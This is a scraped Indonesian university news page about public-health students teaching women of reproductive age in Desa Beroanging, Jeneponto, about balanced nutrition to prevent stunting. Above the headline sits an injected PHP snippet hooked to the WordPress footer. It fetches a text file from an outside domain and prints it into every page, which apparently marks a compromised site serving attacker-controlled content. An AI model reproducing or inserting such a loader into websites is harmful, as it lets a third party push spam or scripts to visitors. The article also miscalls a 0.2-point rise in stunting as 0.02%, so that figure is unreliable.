function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');EDUKASI WUS DENGAN GLORI - GLOSARIUM NUTRISI: PERBAIKI GIZI UNTUK CEGAH STUNTING DI DESA BEROANGING, KECAMATAN BANGKALA BARAT - Suluh Nusantara

Home / Uncategorized

Rabu, 29 Januari 2025 - 22:06 WIB

EDUKASI WUS DENGAN GLORI – GLOSARIUM NUTRISI: PERBAIKI GIZI UNTUK CEGAH STUNTING DI DESA BEROANGING, KECAMATAN BANGKALA BARAT

Mahasiswa Praktik Belajar Lapangan (PBL) 2 dari Fakultas Kesehatan Masyarakat Universitas Hasanuddin mengadakan edukasi dan penyuluhan terkait Isi Piringku bagi kelompok Wanita Usia Subur (WUS). Kegiatan ini bertujuan untuk meningkatkan pemahaman dan kesadaran mengenai gizi seimbang guna mencegah stunting di Desa Beroanging, Kecamatan Bangkala Barat, Kabupaten Jeneponto. Kegiatan ini dilakukan pada hari Rabu, 29 Januari 2025 pada pukul 14.30-15.30 WITA.

Kegiatan ini melibatkan kelompok Wanita Usia Subur (WUS) di Desa Beroanging, Kecamatan Bangkala Barat, Kabupaten Jeneponto. Penyuluhan berlangsung pada 29 Januari 2025 pukul 14.30–15.30 WITA yang dimulai dengan sesi perkenalan dan pembukaan. Selanjutnya, peserta diberikan leaflet serta edukasi yang mencakup penjelasan tentang Isi Piringku, manfaatnya, serta kandungan nutrisi dalam berbagai bahan pangan lokal. Setelah itu, diadakan sesi tanya jawab sebanyak tiga kali untuk memperdalam pemahaman peserta. Sebagai apresiasi, hadiah diberikan kepada peserta yang aktif berpartisipasi dalam kegiatan ini.

Wanita Usia Subur (WUS) adalah perempuan yang berada dalam masa reproduksi yang matang dan berfungsi dengan baik, yakni dalam rentang usia 15 hingga 49 tahun. Kelompok ini mencakup perempuan hamil, tidak hamil, calon pengantin, ibu nifas, pekerja perempuan, serta remaja putri. Asupan gizi yang tidak mencukupi kebutuhan harian dapat menyebabkan berbagai permasalahan gizi, seperti anemia akibat defisiensi zat gizi dan Kurang Energi Kronis (KEK), yang berisiko memengaruhi fase kehidupan selanjutnya. Dampak tersebut meliputi risiko bayi mengalami stunting, lahir dengan berat badan rendah (BBLR), serta gangguan pertumbuhan dan perkembangan janin selama kehamilan atau setelah persalinan.

Baca Juga  Delegasi Magister K3 FKM UNHAS Ikuti “The 8th International Conference on Work Environment and Cardiovascular Diseases (ICOH-CVD 2025) at Mahidol University Bangkok, Thailand

Kegiatan ini sendiri mendukung tujuan Sustainable Development Goals (SDGs), khususnya pada tujuan pembangunan berkelanjutan nomor 2, yang menargetkan penghapusan kelaparan dan berbagai bentuk malnutrisi, dalam hal ini termasuk kejadian stunting. Di Sulawesi Selatan (Sulsel) sendiri, prevalensi stunting pada tahun 2023 tercatat sebesar 27,4%, mengalami peningkatan sebesar 0,02% dibandingkan tahun 2022 yang mencapai 27,2%. Sementara itu, di Kabupaten Jeneponto, prevalensi stunting justru mengalami penurunan, dari 39,8% pada tahun 2022 menjadi 36,3% pada tahun 2023.

Baca Juga  PEMBENTUKAN LEMBAGA PENGELOLA LIMBAH MANDIRI (PANGLIMA) OLEH TIM PPK ORMAWA LD AL-‘AAFIYAH UNHAS

Menurut Abdul Rahman, Kepala Dusun Bontorea Selatan, Desa Beroanging, Kecamatan Bangkala Barat, pemerintah desa telah melakukan berbagai upaya untuk menurunkan angka stunting di Jeneponto, khususnya di Desa Beroanging. Salah satu langkah yang diambil adalah menjalin kemitraan dengan berbagai instansi kesehatan, termasuk Pustu dan Puskesmas, dalam berbagai kegiatan seperti penyuluhan dan edukasi kesehatan.

Melalui kegiatan ini, diharapkan Wanita Usia Subur (WUS) di Desa Beroanging, Kecamatan Bangkala Barat, Kabupaten Jeneponto dapat memahami konsep Isi Piringku dengan lebih baik serta terdorong untuk mengadopsi perilaku yang lebih sehat. Intervensi ini juga diharapkan menjadi bagian dari edukasi berkelanjutan dengan dukungan dari berbagai sektor, sehingga dapat berkontribusi dalam menekan angka stunting dan meningkatkan kualitas hidup masyarakat di Kabupaten Jeneponto.

Share :

Baca Juga

Uncategorized

Cegah Stunting Sejak Dini: Penyuluhan Gizi Seimbang bagi Ibu Hamil di Kelurahan Tonrokassi Bara

Uncategorized

Seminar Akhir PBL 1: Mahasiswa FKM Unhas Paparkan Hasil Analisis Masalah Kesehatan di Kelurahan Pajalesang

Uncategorized

Workshop Pemutakhiran RPS Departemen Kesehatan Lingkungan untuk Meningkatkan Kualitas Pendidikan di FKM Universitas Hasanuddin

Uncategorized

Posko 23 PBL 2 FKM Unhas Gelar Seminar Akhir: Hasil Intervensi Kesehatan di Desa Bontosunggu

Uncategorized

Tingkatkan Kesehatan Ibu dan Bayi, Posko 14 PBL 2 FKM Unhas Gelar Edukasi Pentingnya Imunisasi Ibu Hamil di Desa Tombo-Tombolo

Uncategorized

Menilai Efektivitas Edukasi Stunting: Posko 31 FKM Evaluasi Program CEKATAN, KATA MIMI, dan IBU SIAGA di Kelurahan Tamanroya, Kabupaten Jeneponto

Uncategorized

Cegah Penyakit pada Bayi, Mahasiswa Magang Promosi Kesehatan Universitas Hasanuddin Gencarkan Penyuluhan Pentingnya Imunisasi dan Tablet Tambah Darah

Uncategorized

Pendidikan Kesehatan untuk Remaja: Upaya Mahasiswa Posko 23 PBL III FKM Unhas Lawan Rokok dan Stunting di Jeneponto